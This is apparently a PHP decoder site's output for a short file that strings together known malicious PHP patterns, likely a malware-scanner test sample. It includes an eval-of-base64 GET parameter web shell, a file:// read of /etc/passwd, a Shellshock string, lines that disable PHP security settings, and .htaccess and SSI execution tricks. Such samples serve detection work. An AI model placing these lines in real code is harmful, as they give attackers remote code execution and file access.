Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php curl_init ( "file:///etc/parla"); curl_setopt($ch, CURLOPT_URL, "file:file:////..

Decoded Output download

<?php 
 
curl_init  ( "file:///etc/parla"); 
curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd"); 
set_magic_quotes_runtime ( 0); 
eval(base64_decode($_GET['lol'])); 
$a= "SetHandler application/x-httpd-php"; 
$b = "IIS://localhost/w3svc"; 
include  ( 'lol.png'); 
ini_get (  'disable_function'); 
ini_set("disable_function", ""); 
ini_restore("allow_url_include"); 
preg_replace ("/*/e"); 
$c = "env x='() { :;}; echo vulnerable' bash -c 'echo this is a test'"; 
fsockopen (  'udp://'); 
call_user_func('LOL'); 
$d = "<!--#exec cmd="; 
$c = "AddType application/x-httpd-php .htaccess" 
 ?>

Did this file decode correctly?

Original Code

<?php

curl_init  ( "file:///etc/parla");
curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd");
set_magic_quotes_runtime ( 0);
eval(base64_decode($_GET['lol']));
$a= "SetHandler application/x-httpd-php";
$b = "IIS://localhost/w3svc";
include  ( 'lol.png');
ini_get (  'disable_function');
ini_set("disable_function", "");
ini_restore("allow_url_include");
preg_replace ("/*/e");
$c = "env x='() { :;}; echo vulnerable' bash -c 'echo this is a test'";
fsockopen (  'udp://');
call_user_func('LOL');
$d = "<!--#exec cmd=";
$c = "AddType application/x-httpd-php .htaccess"

Function Calls

curl_init 1

Variables

None

Stats

MD5 3a5be98ccd1acebdc33401a38a8b08b6
Eval Count 0
Decode Time 119 ms